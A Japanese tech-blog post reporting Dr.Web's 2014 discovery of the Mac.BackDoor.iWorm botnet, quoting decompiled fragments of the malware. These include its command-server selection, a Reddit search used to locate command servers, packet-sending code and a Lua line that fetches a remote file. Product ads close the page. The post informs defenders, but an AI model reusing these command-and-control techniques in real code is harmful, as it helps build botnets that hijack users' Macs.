【トラブルシューティング】”Dr.Web” が、”トロイの木馬” の一種となるマルウェア “Mac.BackDoor.iWorm” の大規模感染について報告

Russia（ロシア）のウィルス対策ベンター “Dr.WEB” が、”macOS（旧称：OS X）” をターゲットにした “トロイの木馬” の一種であるマルウェア “Mac.BackDoor.iWorm” による大規模感染を報告しています。

同社は 2014 年 9 月 29 日の時点で、このマルウェアによるバックドアを用いて構成されたボット ネットが形成されており、その IP アドレスが約 18,519 にもおよぶことから現時点において、約 18,000 台以上の “Mac” が感染している模様です。

なお、Apple では 2014 年 10 月 4 日（土）時点で “macOS（旧称：OS X）” の定義ファイル “XProtect.plist” のアップデートを実施しています。

“Mac.BackDoor.iWorm” について

	find_banned_dir:
	challenge[5] = 0;
	challenge[4] = 0;
	challenge[0] = 0x67452301;
	challenge[1] = 0xEFCDAB89;
	challenge[2] = 0x98BADCFE;
	challenge[3] = 0x10325476;
	szDir = (const char *)&dir-&qt;d_seekoff;
	szDir_len = strlen(szDir);
	MD5_Update(szDir, challenge, szDir_len);
	MD5_Final((char *)&MD5OfDir, challenge);
	z = 0;
	do
	{
	if ( z &qt; 2 )
	{
	dir = readdir(hLib);
	if ( !dir )
	goto banned_dir_not_found;
	goto find_banned_dir;
	}
	BannedFoldersMD5 = pBannedFoldersMD5[z++];
	}
	while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );

view raw Mac.BackDoor.iWorm #2 hosted with by GitHub

	r1 = TwisterGenRnd();; //????????? ?????????? ?????
	r2 = 0xFFFF0400 * (random_value / 0xFC00);
	port = (WORD)(r1 + r2 + 1024);

view raw Mac.BackDoor.iWorm #3 hosted with by GitHub

	struct backdoor_param
	{
	char szParam[];
	char szValue[];
	};

view raw Mac.BackDoor.iWorm #4 hosted with by GitHub

	time_t timee;
	struct tm *tm;
	time(&timee);
	tm = gmtime(&timee);
	dwDays = tm->tm_yday + 365 * tm->tm_year;

view raw Mac.BackDoor.iWorm #5 hosted with by GitHub

https://www.reddit.com/search?q=<MD5_hash_first8>

view raw Mac.BackDoor.iWorm #6 hosted with by GitHub

	rnd = TwisterGenRnd(); //????????? ?????????? ?????
	szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));

view raw Mac.BackDoor.iWorm #7 hosted with by GitHub

	i = 0;
	while ( 1 )
	{
	pthread_mutex_lock(&pMutex_0);
	BanListSize = (pBanListEnd - pBanListBeg) >> 2;
	pthread_mutex_unlock(&pMutex_0);
	if ( i >= BanListSize )
	break;
	pszBannedIP = GetAddressByIndex(pCBanList, i++);
	if ( CompareAddresses(pszBannedIP, szIP) )
	{
	pthread_mutex_unlock(&pMutex_0);
	shutdown(this->socket, SHUT_WR);
	goto func_exit;
	}
	}

view raw Mac.BackDoor.iWorm #8 hosted with by GitHub

	void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
	{
	WORD ps = 0;
	SendData(&packet_signature, pNode->pCSocket, 1u);
	ps = BYTE(packet_size) << 8;
	SendData((char *)&ps, pNode_->pCSocket, 2u);
	SendData(pPacketData, pNode_->pCSocket, packet_size);
	}

view raw Mac.BackDoor.iWorm #9 hosted with by GitHub

	if platform() == "OSX" and get("d") ~= "3" then
	httpgeted("https://*****.files.wordpress.com/2014/08/01.jpg")
	set("d", "3");

view raw Mac.BackDoor.iWorm #10 hosted with by GitHub

Apple 関連記事一覧

関連リンク

• ・発見された新たな Mac OS X ボットネット：https://news.drweb.co.jp/show/?i=10629
• ・Mac.BackDoor.iWorm に関する詳細：https://news.drweb.co.jp/show/?i=10628
• ・Dr.Web PC／Android 向け高品質なアンチ ウイルスのダウンロード：https://www.drweb.co.jp/
• ・iWorm Botnet Uses Reddit as Command and Control Center – The Mac Security Blog：https://www.intego.com/mac-security-blog/iworm-botnet-uses-reddit-as-command-and-control-center/
• ・Mac Security and Antivirus Software for Mac OS X – Intego：https://www.intego.com/
• ・17,000 Macs hit by malware botnet, with help from Reddit • Graham Cluley：https://grahamcluley.com/mac-malware-botnet-reddit/
• ・Apple（日本）：https://www.apple.com/jp/

ノートン 360 デラックス セキュリティソフト(最新)|1年3台版|オンラインコード版|Win/Mac/iOS/Android対応【PC/スマホ対応】

created by Rinker

ノートン(Norton)

• Amazon
• 楽天市場
• Yahooショッピング

【公式】マカフィー トータル プロテクション |3年5台版| Windows/Mac/Android/iOS/ChromeOS|アンチウイルス&インターネット セキュリティソフ​トウェア|オンラインコード版​

created by Rinker

マカフィー

• Amazon
• 楽天市場
• Yahooショッピング

【トレンドマイクロ公式】セキュリティソフト|ウイルスバスター クラウド(最新)| 3年 3台版 | オンラインコード版 | Win/Mac/iOS/Android対応【PC/スマホ対応】

created by Rinker

トレンドマイクロ

• Amazon
• 楽天市場
• Yahooショッピング

カスペルスキー プレミアム | 3年5台版 | セキュリティソフト | Win/Mac/iOS/Android対応 | カード版

created by Rinker

カスペルスキー

• Amazon
• 楽天市場
• Yahooショッピング